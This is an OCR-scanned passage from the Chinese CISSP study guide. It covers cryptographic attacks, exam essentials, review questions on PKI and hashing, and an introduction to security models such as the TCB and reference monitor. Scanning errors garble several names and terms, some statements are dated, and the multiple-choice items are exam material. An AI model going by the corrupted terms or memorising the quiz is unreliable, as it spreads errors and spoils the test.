后 ， 攻击者伪装成始发者， 使用不 同 的密钥与预期的接收者建立另一个安全会话。 这样一来， 攻击
者就能够 " 坐在 " 通信双方 的 中间， 读取流经的所有数据流。
提示 :
注意不要混淆 中 间相遇攻击和 中 间人攻击 。 它们具有相似的名 字 ， 但是存在很大差异 !
生日攻击 生日攻击也被称为冲突攻击或逆向散列匹配， 它能够寻找散列函数一一对应特性中
的缺陷， 请参阅第 14 章 " 控制和监控访问" 中对穷举攻击和字典攻击的讨论。 在这种攻击中 ， 怀有
恶意的人在数字化签名 的通信中寻找可以生成相 同消息摘要的不同消息， 从而维持原有数字签名 的
有效性。
第 7 章 PKI 和密码学应用
提示 :
别 忘 了 ， 社会工程学也可以用 于密码分析。 如果能够获得解密密钥且只是简单地要求发送者发
送密钥 ， 就比试 图 破解 密码系统容 易得多 !
重放攻击 重放攻击被用于对付那些没有结合临时保护措施的加密算法。 在这种攻击中 ， 怀有
恶意的人拦截通信双方之间 的加密消息(通常是身份认证的请求)， 然后 "重放" 捕获的信息以打开
新 的会话。 通过在每条消 息中结合时间标记和过期时间 ， 就可 以 防御这种攻击。
7.7 本章小结
公钥加密技术提供了一种极其灵活的基础设施， 从而帮助通信之前不必彼此认识的通信双方进
行简单、 安全的通信 。 公钥加密技术还为消息的数字签名提供了 架构， 以便确保不可否认性和消 息
的完整性。
本章探讨了公钥加密技术， 为大规模用户 的使用提供了 扩展 的密码学架构。 我们还讲述了一些
流行的密码学算法， 如链路加密技术和端到端加密技术。 最后， 我们介绍了公钥基础设施， 这个基
础设施使用证书授权机构(CA)生成包含系统用户 的公钥和数字签名 的数字证书(依赖于公钥密码学
与散列 函数的结合)。
我们还讨论了 一些常见的解决日 常问题的密码学技术。 你学习 了如何使用密码技术来保护电子
邮件(使用 PGP 和 S岛也在E)， Web 通信(使用 SSL 和 TLS)、 对等的和网关间的网络连接(使用 IPSec
和 ISAKMP) 以及无线通信(使用 WPA和WAP2)。
最后， 我们介绍了怀有恶意的人试图阻碍或截获双方之间通信的一些常用攻击方法。 这些攻击
包括: 密码分析攻击、 重放攻击、 穷举攻击(又称蛮力攻击)、 己知明文攻击、 选定明文攻击、 选定
密文攻击、 中 间相遇攻击、 中 间人攻击和生 日 攻击。 为了提供足够的对付这些攻击的安全性， 理解
这些攻击十分重要 。
7.8 考试要点
理解在非对称密码系统中使用的密钥类型。 公钥在通信参与者之间是 自 由共享的 ， 而私钥是要
求保密的 。 为 了加密消息 ， 应当使用接收方的公钥。 为了解密消息， 应当使用 自 己的私钥。 为了签
名信息， 也应当使用 自 己的私钥 。 为了验证签名 ， 应当使用 发送者 的公钥 。
熟悉三种主要的公钥密码系统。 1977 年， 由 阳vest、 Shamir 和 Adleman 开发的 RSA 是最著名
的公钥密码系统， 依赖于对质数乘积进行因 数分解的难度。 El Gamal 是 Diffie-Hellman 密钥交换算
法的扩展， 依赖于模运算。 椭圆曲线加密算法依赖于椭圆 曲线离散对数问题， 在密钥的长度相同时，
能提供 比其他算法更高的安全性。
知道散列函数的基本要求。 优秀的散列函数具有 5 个要求: 它们必须允许任意长度的输入值，
提供固定长度的输出值， 使得计算任意输入值的散列函数相对简单， 提供单向功能并且是无冲突的。
熟悉 4 种主要的散列算法。 安全散列算法(SHA)的后继算法 SHA- l 和 SHA-2 构成了政府标准的
消息摘要函数。SHA- l 生成 160 位的消息摘要， SHA-2 支持最大 512位的可变长度的消息摘要， SHA-3
还在开发制定 中 ， 而 NIST 稍 晚些将发布最终版本。
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CISSP 官方学习指南(第 7 版)
知道密码加盐如何提高密码散列的安全性。 当直接使用在密码文件中散列存储的密码时， 攻击
者可能利用预先计算值的彩虹表来识别常用 的密码。 在散列之前将盐添加到密码中， 降低了彩虹表
攻击的有效性。
理解如何产生和验证数字签名 。 为了数字化签名消息， 首先要使用散列函数生成消息摘要。 然
后 ， 用 自 己的私钥加密消息摘要。 为了验证消息 中 的数字签名 ， 需要使用发送者的公钥解密签名 ，
随后将解密得到的消息摘要与 自 己产生的消息摘要进行比较 。 如果二者匹配， 那就说明接收的消息
是可信的。
了解数字签名标准(DSS)的组件。 数字签名标准使用 SHA- l 和 SHA-2 消 息摘要函数和下列三种
加密算法 中 的一种: 数字签名算法(DSA)、 RSA 算法或椭圆 曲线数字签名算法(ECDSA)。
理解公钥基础设施(PKI)。 在公钥基础设施中 ， 证书授权机构(CA)生成包含系统用户 的公钥的数
字证书。 然后， 用 户把这些证书分发给希望进行通信的人。 证书接收方会使用 CA 的公钥来验证
证书。
了解常见的保护电子邮件安全的密码学应用 。 用于被加密消息的新兴标准是 S/MTh伍协议。 其
他流行的 电子邮件安全协议包括 Phil Zimmerman 的可靠隐私σGP)。 电子邮件加密的大多数用户依
赖于将这项技术构建到他们的 电子 邮件客户端或他们 的基于 Web 的 电子 邮件服务。
了解常见的保护 Web 活动安全的密码学应用 。 安全 Web 通信的事实标准是使用安全传输层协
议(TLS)或旧 的安全套接字层(SSL)上的 HTTP 。 大多数的网络浏览器都支持这两种标准。
了解常见的保护网络连接安全的密码学应用 。 IPSec 协议标准提供了加密网络通信的通用架构，
并且被内建在许多常见的操作系统中 。 IPSec 的运输模式针对对等通信方式加密数据包的内容， 隧
道模式则针对网关间 的 通信方式加密整个数据包(包括头信息)。
能够描述 IPseco IPSec 是一种在 E 上支持安全通信的安全体系架构。 IPSec 来用运输模式或隧
道模式建立安全的信道。 它既可以被用于在计算机之间建立直接的通信， 也可以被用于在网络之间
建立 VPNo IPSec 使用两个协 议: 身份验证头(A田和封装安全有效载荷(ESP)。
解释常见的密码学攻击类型。 穷举攻击(又称蛮力攻击)试图通过随机的组合找到正确的加密密
钥 。 己知明 文攻击、 选定密文攻击和选定明文攻击都要求攻击者具有除了密文 以外的其他一些信息。
中 间相遇攻击利用 了 使用两轮加密的协议。 中 间人攻击是欺骗通信双方与攻击者进行通信， 而不是
通信双方彼此之间直接通信。 生日攻击尝试找到散列函数中 的冲突。 重放攻击则企图重用身份认证
请求。
了解数字版权管理(DRM)的用途。 数字版权管理。〉郎。解决方案允许内 容所有者执行对内容的
使用限制。 DRM解决方案通常保护娱乐 内容， 如音乐、 电影和电子书， 但偶尔也可见于企业中 ， 用
于保护文档 中 存储的敏感信息。
7.9 书 面实验室
l 如果 Bob 希望使用非对称密码向 Alice 发送机密消息 ， 那么应当采用 怎样的过程?
2. 在第一个问 题所描述的情况下 ， Alice 应 当采用 怎样的过程来解密 Bob 发送的消息?
3. 阐 述 Bob 对发送给 Alice 的 消息进行数字化签名 的过程。
4. 针对第三个问题所描述的情况， 阐述 Alice 对 Bob 所发送消息中的数字签名进行验证的过程。
第 7 章 PKI 和密码学应用
7. 10 复习题
1 . 在 RSA 公钥密码系统中 ， 下列哪个数字总是最大?
A. e
B. n
C. p
D. q
2. El Gamal 密码体系 的基础是什么加密算法形式 ?
A. RSA
B. Di伍。Hellman
C. 3DES
D. IDEA
3. 如果 Richard 要发送一条用公钥密码系统加密过的消息给 Sue， 他用哪个密钥加密这条消息?
A. Richard 的公钥
B. Richard 的私钥
C. Sue 的公钥
D. Sue 的私钥
4. 如果用 El Gamal 公钥密码系统加密一条 2048 位的明文消息， 产生的密文信息有多长 ?
A. 1 024 位
B. 2048 位
C. 4096 位
D. 8192 位
5. Acme Widgets 目 前在全公司范围 内 使用 1 024 位的 RSA 加密标准。 该公司计划从 RSA 转换
成椭圆 曲线加密系统。 如果要保持相 同 的加密强度 ， 应该使用多长的 ECC 密 钥 ?
A. 1 60 位
B. 5 1 2 {立
C. 1 024 位:
D. 2048 位
6. John 想要产生 2048 位的消息摘要， 并计划发送给 Mary。 如果他使用 SHA- l 散列算法， 这
条特定消息的消息摘要的长度是多少 ?
A. 1 60 位
B. 5 1 2 位;
C. 1 024 位:
D. 2048 {立
7. 下列哪个技术被认为是有缺陷 的并且 不应该再被使用 ?
A. SHA-2
B. PGP
C. WEP
D. TLS
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CISSP 官方学 习指南(第 7 版)
8. WPA 使用什么加密技术保护无线通信 ?
A. TK.IP
B. DES
C. 3DES
D. AES
9. Richard 收到 Sue 发送给他的加密消息 。 他应该用什么密钥来解密消 息 ?
A. Richard 的 公钥
B. Richard 的私钥
C. Sue 的公钥
D. Sue 的私钥
10. Richard 想要对正在发送给 Sue 的消息进行数字签名 ， 以便于 Sue 能够确认这条消息来自于
他 ， 没有在传输过程中 被篡改。 他应该使用什么密钥来加密这条摘要消息 ?
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A. Richard 的 公钥
B. Richard 的私钥
C. Sue 的 公钥
D. Sue 的私钥
11. 下列哪个算法不受数字签名标准支持?
A. 数字签名算法
B. RSA
C. El Gamal DSA
D. Elliptic Curve DSA
12. 哪个国际电信联盟(ITU)标准用于管理安全 电子通信 中 的数字证书的创建和支持?
A. X.500
B. X.509
C. X.900
D. X.905
13. 什么密码系统为商业版的 Phil Zimmerman 的 PGP(可靠隐私)安全邮件系统提供加密/解密
技术?
A. R0T13
B. IDEA
C. ECC
D. El Gamal
1 4. 什么 TCP/四 通信端 口 被 TLS 通信所使用 ?
A. 80
B. 220
C. 443
D. 559
1 5. 什么类型的密码攻击提 出 了 双重 DES(2DES)不 比标准的 DES 加密有效?
A. 生日攻击
B. 选定明文攻击
C. 中 间相遇攻击
D. 中 间人攻击
1 6. 以 下哪些工具可 以用来提高暴力破解攻击的有效性?
A. 彩虹表
B. 分级审查
C. TKIP
D. 随机增强
1 7. 以下哪个链接会被 WPA 加密进行保护 ?
A. 防火墙到防火墙
B. 路由器到防火墙
C. 客户端到无线接入点
D. 无线接入点到路由器
1 8. 使用证书撤销列表的主要缺点是什么 ?
A. 密钥管理
B. 延迟
c. 记录保留
D. 暴力攻击的漏洞
1 9. 下列加密算法中的哪一个现在被认为是不安全的?
A. El Gamal
B. RSA
C. Ski时ack
D. Merkle-Hellman Knapsack
20. IPSec 定义 了 什么 ?
A. 针对特定配置的所有可能的安全分类
B. 一个用 于建立安全通信通道的框架
C. Biba 模型中 的有效过渡状态
D. TCSEC 安全类别
第 7 章 PKI 和密码学应用
1 85
第 8 z=二
与王
安全模型的原则 、 设计和功 能
本章中覆盖的 CISSP 考试大纲包含 :
3) 安全工程(安全 的工程学和管理)
• A. 使用安全设计原则实施和管理工程过程
• B. 理解安全模型的基本概念(例如 ， 机密性、 完整性和多级模型)
• C. 根据系统安全评价模型选择控制与对策
• D. 理解信息系统的安全保障能力(例如， 内 存保护、 虚拟化、 信任平台模型、 接口、 故障
容错)
理解安全解决方案后面隐含的基本原则， 通常有助于缩小搜寻满足特定情况下、 特定安全需求
的 最佳控制方法的范围 。 在本章中， 我们将讨论安全模型 ， 包括状态机、 B巳ll-LaPadula， Biba、
Clark-Wilson、 Take-Grant 以及 Brewer 和 Nash 模型。 本章还将讨论政府和公司用于从安全性角度评
估信息系统的通用准则和其他方法， 并且着重讲述美国 国防部和国际性的安全评估标准。 最后， 我
们会讨论导致信息系统易受攻击的常见设计缺陷和其他安全相关问题。
决定如何保护系统安全的过程是十分困难且非常耗时的 。 在这一章中 ， 我们将会描述这个过程，
以及这个过程涉及的用于评估计算机系统的安全级别。 我们将首先介绍和解释用于描述信息系统安
全性的基本概念和术语， 并且对安全计算、 安全边界、 安全性和访问监控器以及内核代码进行讨论。
随后， 我们将通过安全模型来阐述如何实现访问和安全控制。 我们还会简要介绍如何对系统安全进
行分类(例如， 开放式或封闭式)， 描述一组用于确保数据机密性、 完整性和可用性的标准安全技术;
讨论安全控制 以及介绍一套标准的安全网络连接协议组 。
这个领域的额外内 容分布于不同的章节: 第6章 " 密码学与对称加密算法飞 第 7 章 "p阳 和密
码学应用 "、 第9章 " 安全脆弱性、 威胁和对策" 以及第 1 0 章 "物理安全需求飞 确保回顾了所有这
些章， 并对这个领域 内 的所有主题都有完整的认识。
8.1 使用 安全设计原则实施和管理工程过程
在每一个系统的开发阶段都应该考虑安全， 程序员应该努力为他们开发的每一个应用手固芋建立
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CISSP 官方学 习指南(第 7 版)
安全， 提供更高层次的安全性给关键应用程序和那些处理敏感信息的应用程序。 在开发项 目 的早期
阶段考虑安全是非常重要的 ， 因为它比将安全添加到现有系统中更容易实现。 下面将讨论的一些基
本安全原则被应用在 实施和管理硬件或软件项 目 工程的早期过程中。
8.1.1 客体和主体
对安全系统中任何资源的访问控制涉及两个实体 。 主体是请求访问 资源的用户或进程。 访问的
意思是可以对资源进行读或写操作 。 客体是用户或进程想要访问的资源。 需要记住的是， 主体和客
体针对特定的访 问请求， 因此对于不同的同一资源既可以成为主体， 也可以在不同 的访问请求中成
为客体。
例如， 进程 A 可能向进程 B 请求数据， 为 了满足进程 A 的请求， 进程 B 必须 向进程 C 请求数
据 。 在这个例子中 ， 进程 B 不仅是第一个请求的客体， 而且也是第二个请求的主体， 如下所示:
第 一个请求 进程 A (主体) 进程 B (客体)
第 二个请求 进程 B (主体) 进程 C (客体)
这也是信任传递的一个例子。 信任传递的概念是: 如果 A 信任B井且B信任 C， 然后 A 通过
传递性继承信任 C。 就像数学方程: 如果 A = B ， B=C， 那么 A=C。 在前面的例子中 ， 当A请求
的数据从 B 而来， 然后 B 从 C 请求数据， A 接收的数据本质上是从 C 而来的。 信任传递存在严重
的安全问题， 因 为可能绕过 A 和 C 之间的约束或限制， 特别是如果 A 和 C 都支持和 B 进行交互的
话。 例如， 组织可能需要禁用对 FaceBook 或 YouTube 的访问 来提升雇 员 的生产力。 虽然雇员(A)不
能访问 既定的某些互联网网站(c)。 然而， 如果雇员能够访问 Web 代理、 VPN 或匿名服务 ， 就可以
将之作为一种手段来绕过本地网络限制 。 换句话说， 雇员(A)访问 VPN 服务(B)， 然后通过 VPN 服
务(B)， 可 以访 问屏 蔽的互联网服务(C); 因 此 A 可 以通过 B ， 利用信任传递漏洞访 问 C。
8. 1 .2 封闭式系统和开放式系统
可 以根据下列两种不同 的理念来设计和构建系统: 封闭式系统被设计用于与较小范围 内 的其他
系统协同工作， 通常所有系统都来自相同的制造厂商。 封闭式系统的标准一般是专有的， 通常不对
外公开。 另 一方面， 开放式系统被设计为使用统一的行业标准。 这些开放式系统比较容易与来自 不
同 制造厂商但支持相 同标准的系统集成在一起。
封闭式系统很难与不同的系统集成在一起 ， 但是它们更为安全。 封闭式系统通常由专用硬件和
软件组成， 这些软硬件是不符合行业标准的。 缺乏容易集成的特点， 意味着针对许多普通系统组件
的攻击可能不起作用 ， 或者这些攻击需要经过定制才能成功。 许多情况中 ， 攻击封闭式系统比攻击
开放式系统更难。 许多具有己知脆弱性的软件和硬件组件在封闭式系统中可能不存在 。 除了封闭式
系统不存在己知的易受攻击的组件之外， 要想、发动一次成功的攻击往往需要对具体 目 标系统进行比
较深入的了解。
一般来说， 一个开放式系统与其他开放式系统相集成较为容易 。 例如， 使用 Microsoft Windows
Se凹er 的计算机、 使用 Linux 的计算机和使用 Macintosh 的计算机之间很容易建立 LA1'词。 虽然这三
种计算机使用不 同的操作系统， 而且至少代表着三种不同的硬件体系结构， 但是它们都支持行业标
准， 并使得网络通信(或其他通信)变得容易 。 不过， 这种便利的特性总是伴随着很高的代价。 因 为
标准的通信组件被并入上述三种开放式系统， 所 以存在许多发动攻击的入口点和方法。 通常， 这种
第B章 安全模型的原则 、 设计和功能
系统的开放性使它们更容易 受到攻击， 并且广泛的可用性使攻击者能够查找(甚至实践)大量的潜在
目 标。 此外， 开放式系统 比封闭式系统的使用程度更为普及， 也更容易引起攻击者的关注。 研究基
本破坏技术的攻击者在开放式系统中查找到的 目 标比在封闭式系统中查找到的目标要多 。 潜在 目 标
的更大 "市场" 往往意味着对开放式系统应给予更多的关注。 不可否认的是， 攻击开放式系统的共
享知识和经验远远超过攻击封闭式系统的相关知识和经验。
开源与闭源
记住开源和闭源系统之间 的 区别是有用 的 。 开源解决方案是指源代码和其他内部逻辑对公众开
放， 闭 源解决方案是指源代码和其他内 部逻辑对公众是隐藏的。 开源解决方案往往依赖于公众的检
查和审计， 并随着时间 的推移改进产品。 闭源解决方案是依赖于供应商/程序 员 ， 并随着时间 的推移
改进产品。 开源和闭 源解决方案都可供出售或不收费， 但长期的商用通常意味着闭 源。 然而， 闭 源
千元Z萄往往是通过厂商被迫地或通过反编译进行披露。 前者通常是对道德和法律的违背， 而后者是道
德逆向 工程或 系 统分析的标准元素 。
也有这样的情况， 闭 源程序既可是开放式系统， 也可以是封闭 式系统; 对于开源程序也同 样
女口业忆。
8.1 .3 用 于确保机密性、 完整性和可用性的技术
为 了保证数据的机密性、 完整性和可用性， 必须确保对数据进行访问 的所有组件都是安全的和
工作状态 良好的。 软件设计人员使用不 同的技术来确保所设计的程序只完成要求它做的事情， 而不
会多做其他事情。 假如某个程序对正在被另一个程序使用的 内存区域进行数据读写操作， 那么第一
个程序实际上违反了全部的三个安全宗 旨 : 机密'性、 完整性以及可用性。 如果受影响的手里芋正在处
理敏感的或秘密的数据， 那么数据的机密性将不再得到保证。 如果数据通过不可预测的方式被重写
或更改(多个读取者和写入者不经意间访问 同一共享数据时出现的常见问题)， 那么就不能保证完整
性。 此外， 如果数据的更改导致数据损坏或完全丢失， 那么数据在今后也变得不可用。 虽然接下来
要讨论的概念全部与软件程序有关， 但这些概念也都适用于所有的安全领域。 例如， 物理限制措施
能够保证对硬件的所有物理访 问 都是受控的。
1 . 限制
软件设计人员使用进程限制来约束程序的操作。 简单来讲， 进程限制允许进程只能在确定的 内
存地址和资源中读取和写入数据。 这就是常说的沙箱。 操作系统或其他一些安全组件不允许非法的
读/写请求。 如果进程试图执行的动作超出 了为其授予的权限 ， 那么动作会被拒绝， 并且系统将采取
进一步的行动， 例如记录违法行为的 日 志。 必须符合更高安全性评级的系统通常记录所有违规行为
以及通过某些具体方式做出 的响应。 一般情况下， 违规的进程会被终止。 限制可以在操作系统中进
行(如通过进程隔离和保护)， 也可通过限制应用程序或服务(例如， www.sandboxie.com 的 Sandboxie)
的使用来进行， 或通过虚拟化或虚拟机(如 VMware 或 Oracle 的 VirωalBox)解决方案来进行 。
2. 界限
在系统上运行的每一个进程都被分配了 一个授权级别。 授权级别 告知操作系统进程可以执行哪
些操作。 在 比较简单的系统中 ， 可能只存在两个授权级别: 用户和内核。 授权级别告知操作系统该
1 89
CISSP 官方学 习指南(第 7 版)
如何为进程设定界限 。 进程的界限由对进程可 以访问的内存和 资源所设置的限制组成。 进程在界限
所划定的区域之内。 在大多数系统中， 这些界限为每个进程划分其使用 的 内存逻辑区域。 操作系统
负责实施这些逻辑界限并且不准许其他进程访问 。 更安全的系统要求从物理上限制进程 。 物理界限
要求每个被限制的进程所运行的内存区域与其他受限进程的 内存区域， 通过物理方式隔开而不仅仅
使用相同 内存空间中的逻辑界限。 对内存实施物理界限可能非常昂贵， 但是也比逻辑界限更为安全。
3. 隔离
当通过实施访问界限对进程进行限制时， 进程就运行在隔离状态中 。 进程隔离能够确保任何行
为只影响与隔离进程有关的内存和资源。 隔离用来保护操作环境、 操作系统的 内核和其他独立的应
用程序 。 隔离是稳定操作系统的重要组成部分之一。 隔离能防止某个应用草里芋访问 只属于另一个应
用程序的内存或资源， 无论是好意的还是恶意的。 操作系统可以提供中间服务， 如剪切、 粘贴和资
源共享(如键盘 、 网络接 口 和存储设备访 问)。
上述三个概念(限制 、 界限和隔离)使安全程序和操作系统的设计工作变得更为困难， 但能使实
现更安全的系统成为可能 。
8. 1 .4 控制
为 了确保系统的安全性， 必须只有经过授权的主体才允许访问客体。 控制使用访问规则来限制
主体对客体的访问。 访问规则声明 了每个主体相对应的合法客体。 进一步说， 客体对某一种访问 类
型来说可能是合法的， 但是对另一种访问类型来说可能是非法的。 针对文件的访问 是一种常见的控
制 。 为了保护文件不被修改， 可 以将文件设置为对大多数用 户来说是只读文件， 而对很少一些具有
文件修改权限的用户来说是可读写文件。
1 90
有两种控制: 强制访问控制和 自 主访问控制 ， 分别被称为 MAC(Mandatory A∞ess Control)和
DAC(Discretionary Acc棚 Control)。 在强制访问控制中， 主体和客体的静态特性被用于确定访问 的容
许性。 每个主体所具有的特性， 定义了其访问资源的许可或授权。 每个客体所具有的特性， 定义了
其分类。 不同类型的安全方法 以不同的方式为资源分类。 例如， 如果安全系统能够找出允许主体 A
所在许可级别的主体访问 客体 B 所在分类级别的客体的规则 ， 那么主体 A 就被允许访问 客体 B。 这
被称为规则型访问控制(Rule-Based Access Control ， RBAC)。 预定义的规则中说明了哪种主体能够访
问 哪种客体。
自 主访问控制与强制访问控制 的不同之处在于: 主体具有一些定义访问 客体的能力。 在受到限
制 的情况下， 自 主访问控制允许主体根据需要定义访问客体的列表。 这个访问控制列表作为动态的
访问规则组， 并且主体能够对其进行修改。 更改己实施的限制 ， 通常与主体的身份有关 。 根据主体
的身份， 可 以 允许主体增加或修改访 问 客体的规则 。
强制访问控制和 自 主访问控制都限制主体对客体的访问。 访问控制 的主要 目 的是: 通过阻止授
权或未经授权主体的未授权访 问 ， 从而确保数据的机密性和完整性。
8.1 .5 信任与保i正
为 了生成可靠的安全产品， 在体系化设计和开发之前及期间 ， 必须集成适当的安全原则、 控制
和机制。 安全问题不应当在事后才加以考虑， 否则就会导致失察、 成本增加以及可靠性降低 。 安全
第 8 章 安全模型的原则 、 设计和功能
性一旦被集成到设计中， 就必须被计划 、 实现、 测试、 审计、 评估、 认证和最后认可。
可信系统是所有保护机制都协同工作的系统， 从而能够在维护稳定和安全的计算环境的同时，
为许多类型的用户处理敏感数据。 保证被简单地定义为: 满足安全需求的可信度。 保证必须被持续
地维持、 更新和重新验证。 无论可信系统经历己知的变化还是经过大量时间， 这一点都是正确的 。
在任何一种情况下， 变化都在某个级别上发生。 变化往往是安全的对立面， 并且常常降低安全性。
因此， 无论何时发生变化， 都需要对系统重新进行评估， 以便验证先前提供的安全级别是否仍然未
受破坏。 保证对于不同系统是不同的， 并且必须针对单独系统分别建立。 不过， 某些保证等级或级
别可以适用于许多类型相同 的系统、 支持相同服务的系统或部署在相同地理位置的系统。 因此， 信
任可以通过具体的安全功能集成到系统中 ， 而保证是在现实世界中对安全功能的可靠性和可用性的
评估。
8.2 理解安全模型的基本概念
在信息安全中， 模型提供了一种正式的安全策略的方式。 这样的模型可以是抽象的或直观的(某
些无疑是数学的)， 但是都试图提供一组显式的规则， 计算机能够遵循这组规则实现组成安全策略的
基本安全概念、 过程和措施。 这些模型有助于理解如何设计和开发支持特定安全策略的计算机操
作系统。
安全模型允许设计人员将抽 象语句映射为描述构建硬件和软件所需算法和数据结构的安全策
略。 因此， 安全模型使软件设计人员 能够衡量自 己的设计和实现。 当然， 这种模型必须支持安全策
略 的每个部分。 通过这种方式， 开发人员就 能确认 自 己 的 安全实现可 以支持安全策略。
安全令牌、 功能列表和标签
若干不 同 的方法手即有 于为客体描述必要的安全特性。 安全令牌是一个与 资源关联的独立客体，
并且描述了 其安全特性。 在请求访 问 实 际的客体之前， 这个令牌可以将某个客体的相关安全信息传
递给实 际的客休。 在其他实现中 ， 各种列表被用于存储与 多 个客体有关的安全信息。 功能列表为每
个受控客体维护一行安全特性。 尽管 不像令牌方式那样灵活， 但是功能列表在主体请求访问客体时
通常能够提供史，快速的查找功能。 第三种常见的特性存储器被称为安全标签(security label)， 安全标
签通常是客体附加的永久部分。 一旦设直 了 安全标签， 就往往不能被史改。 这种永久性提供了 令牌
和功能列表都 未提供的 另 一种 防止篡改的 防护措施。
如下所示， 必须学习若干安全模型; 所有这些模型都阐 明 了如何在计算机体系结构和操作系统
设计中加入安全性 :
• 可信计算模型
• 状态机模型
• 信 息流模型
• 非干扰模型
• Take-Grant 模型
• 访问控制表
• Bell-LaPadl山 模型
• Biba 模型
191
1 92
CISSP 官方学习指南(第 7 版)
• Clark-Wilson 模型
• Brewer and Nash 模型(也被称为 Chinese Wall 模型)
• Goguen-Messguer 模型
• Sutherland 模型
• Graham-Denning 模型
尽管没有任何系统是绝对安全的， 但是可以适当地设计和构建安全的系统。 事实上， 如果某个
安全的系统遵循特定的安全标准组， 那么就可以说这个系统具备某种信任级别 。 因此， 信任可 以被
构建在系统内 ， 随后能够被评估、 认证和认可。 但是在讨论每种安全模型之前， 必须建立构建大多
数安全模型的基础 。 这个基础就是 TCB(Trusted Computing Base， 可信计算基础)。
8.2.1 可信计算基
桶皮书是美国国防部较早的一个标准(DoD Stand缸d 5200.28， 本章后面的 " 彩虹系列" 部分会
进行更详细的介绍)的俗称， 这个标准将可信计算基σCB)描述为硬件 、 软件和控制方法的组合， 这
个组合形成了实施安全策略的可信任基准。 TCB 是完整信息系统的一个子集， 并且应当尽可能小，
从而使详细的分析能够确保系统满足设计规范和要求。 TCB 是系统可以信任的遵守和实施安全策略
的唯一部分。 系统的每个组件并不需要都是可信任的。 不过， 从安全性的角度考虑系统时， 评估中
应该包括定义系统 TCB 的所有可信组件。
通常， 某个系统中 的 TCB 组件负 责控制对系统的访问。 TCB 必须提供访问 TCB 本身内部和外
部资源的方法。 TCB 组件通常对 TCB 外部的组件的活动加 以限制。 TCB 组件的职责就是确保系统
的行为在所有的情况下工作正常井遵守安全策略。
1 安全边界
系统的安全边界是一条假想的界限， 它将 TCB 与系统的其他部分隔开(见图 8. 1)。 这条边界确
保 TCB 与计算机系统中其他部件的不安全通信或交互不会发生。 因为 TCB 要与系统的其他部分进
行通信， 所 以安全边界必须建立安全的通道， 也被称为可信路径。 可信路径是建立在有着严格标准
基础上的通道， 在不受 TCB 安全脆弱性影响的情况下准许进行必要的通信。 可信路径也保护系统用
户 (有时也称为主体)不受因 TCB 交换导致的危害。 在本章稍后部分， 在 了解与正式的安全指导原则
和评估标准有关的更多信息之后 ， 你还会知道系统需要通过可信路径试图 向用户交付高级别的安全
性 。 根据本章稍后将要描述的 TCSEC 指导原则， B2 和 较高级别 的系 统要求使用可信路径。
2. 引用监控器和内核
在实现安全系统时， 必须利用 TCB 的某部分来实施针对系统资产和资源(有时称为客体)的访问
控制。 在准许访问请求之前验证对每种资源的访问 的这部分 TCB 被称为引用监控器(见图 8. 1)。 引
用监控器处于每个主体和客体之间 ， 并且在准许进行任何访问请求之前验证请求主体的凭证是否满
足客体的访问需求。 如果不满足这种访问 需求， 那么访问请求就会被拒绝。 实际上， 引 用监控视器
是 TCB 的访问控制执行者。 因此， 授权和安全的行动和活动被允许发生， 而未经授权的和不安全的
活动和行动被拒绝并阻止发生。 引 用监控器对访问 控制或授权的强制基于所需的安全模型， 无论是
自 由支配的 、 强制性的、 基于角 色的还是访 问控制的一些其他形式。 引 用 监控器可能是 TCB 概念的
一部分; 它 并不需要是一个实际的 、 独立的或独立工作的系统组成部分。
第8:!主 安全模型的原则 、 设计和功能
系统中非安 全关注的元素
引 用监控器 安 全边 界
图 8. 1 TCB、 安全边界和 引用监控器
共同工作从而实现引用 监控器功能的 TCB 中组件的集合被称为安全内 核。 引用监控器是一种通
过软件和硬件中 的安全实现来实施的概念或理论。 安全内核的 目 的是使用适当的组件实施引用监控
器的功能和抵抗所有己知的攻击。 安全内核使用一条可信路径与主体进行通信 ， 并且还可以作为所
有资源访 问请求的中间人 ， 从而只 允许那些与系统应用 的适当访 问规则相匹配的请求。
引 用监控器要求具有与其保护的每种资源相关的描述性信息。 这种信息通常包括资源的分类级
别和名称。 当某个主体请求访问某个客体时， 引 用监控器会查阅客体的描述性信息， 从而判断应当
准许或拒绝访 问 (参看 " 安全令牌、 功 能列表和标签 " 部分对其工作原理的详细介绍)。
8.2.2 状态机模型
状态机模型描述了一个无论处于何种状态下总是安全的系统， 这种模型基于有限状态机σinite
State Mac恤le， FSM)的计算机科学定义。 FSM 通过组合外部输入和内部计算机状态来建立所有类型
的复杂系统的模型， 包括解析器、 解码器和解释器。 给定一个输入和一个状态， FSM 就会转换至另
一个状态， 并且可能生成一个输出 。 从数学上讲， 下一状态是当前状态和输入的函数: 下一状态= F(输
入 ， 当 前状态)。 同样， 输 出 也是输入和 当前状态的函数: 输出=F(输入， 当 前状态)。
许多安全模型都基于安全状态的概念。 根据状态机模型 ， 状态是系统在特定时刻的即时快照 。
如果某个状态的所有方面都满足安全策略的要求， 那么这个状态就被认为是安全的。 接受输入或生
成输出时都会发生转换操作。 转换操作总是会产生新的状态(也被称为状态转换)。 所有的状态转换
都必须进行评估。 如果每个可能的状态转换都会导致另一个安全状态， 那么系统就会被称为安全状
态机。 安全状态机模型系统，总是会进入一个安全状态(在所有的转换中维护安全状态)， 并且准许主
体 只 以遵循安全策略的安全方式访 问 资源。 安全状态机模型是其他许多 安全模型的 基础 。
8.2.3 信息流模型
信息流模型关注于信息流。 信 息流模型 以状态机模型为基础 。 本章稍后我们将要详细讨论的
Bell-LaPadula 和 Biba 模型都是信息流模型。 Bell-LaPadula 模型的 目 的是防止信息从高安全级别向低
1 93
CISSP 官方学习指南(第 7 版)
安全级别流动， Biba 模型的 目 的是防止信息从低安全级别向高安全级别流动。 信息流模型不一定只
对信息流的方向进行处理， 它们还可 以涉及信息流的类型 。
信息流模型被设计用于避免未授权的、 不安全的或受限的信息流。 信息流可以出现于相同分类
级别的主体和客体之间 ， 也可 以出现在不同分类级别的主体和客体之间。 信息流模型准许所有被授
权的信息流， 无论是在相同的分类级别还是处于不同的分类级别之间。 信息流模型避免了所有未授
权信息流的出现， 无论是在相同的分类级别还是位于不同的分类级别之间。 信息流模型可以防止未
经授权的所有信息流 ， 无论是在同一分类级别不同 的 分类级别之间 。
信息流模型另一个有趣的方面是: 在相同客体的两种版本或状态存在于不同的时间点时， 信息流
模型被用于建立这两种版本或状态之间的关系。 因此， 信息流指示了客体从某个时间点的一个状态向
另一个时间点的另一个状态的转变。 信息流模型也可通过排除所有不确定的流途径来解决隐敲通道。
8.2.4 无干扰模型
无干扰模型松散地建立在信息流模型的基础上。 然而， 无干扰模型关注的是位于较高安全级别
的主体的动作如何影响系统状态， 或关注于位于较低安全级别的主体的动作， 而不是关注于信息流。
